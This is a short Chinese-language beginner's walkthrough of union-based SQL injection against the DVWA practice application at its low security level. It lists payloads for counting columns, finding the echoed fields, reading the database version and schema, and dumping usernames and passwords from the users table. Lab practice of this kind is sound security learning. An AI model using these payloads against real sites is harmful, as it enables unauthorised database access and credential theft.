DVWA的级别为低
1.分析源码,查看是否存在过滤,分析sql查询语句
2.判断sql是否存在存入,以及注入的类型
测试:1' and '1'='1
3.猜解SQL查询语句中的字段数
测试:3.1 1' order by 2#
测试:3.2 1' order by 3#
测试:3.3从上面两个图可以说明,SQL语句查询的表的字段数是2
4.确定显示的位置(SQL语句查询之后的回显位置)
测试:1' union select 1,2# 有两个回显值
5.查询当前的数据库,以及版本
测试:1' union select version(),database()#
6.获取数据库中的表
测试:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
7.获取表中的字段名
测试:1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
8.获得字段中的数据
测试:1' union select user,password from users#
------以上自己进行测试的结果,一个小白,请大家多多指教!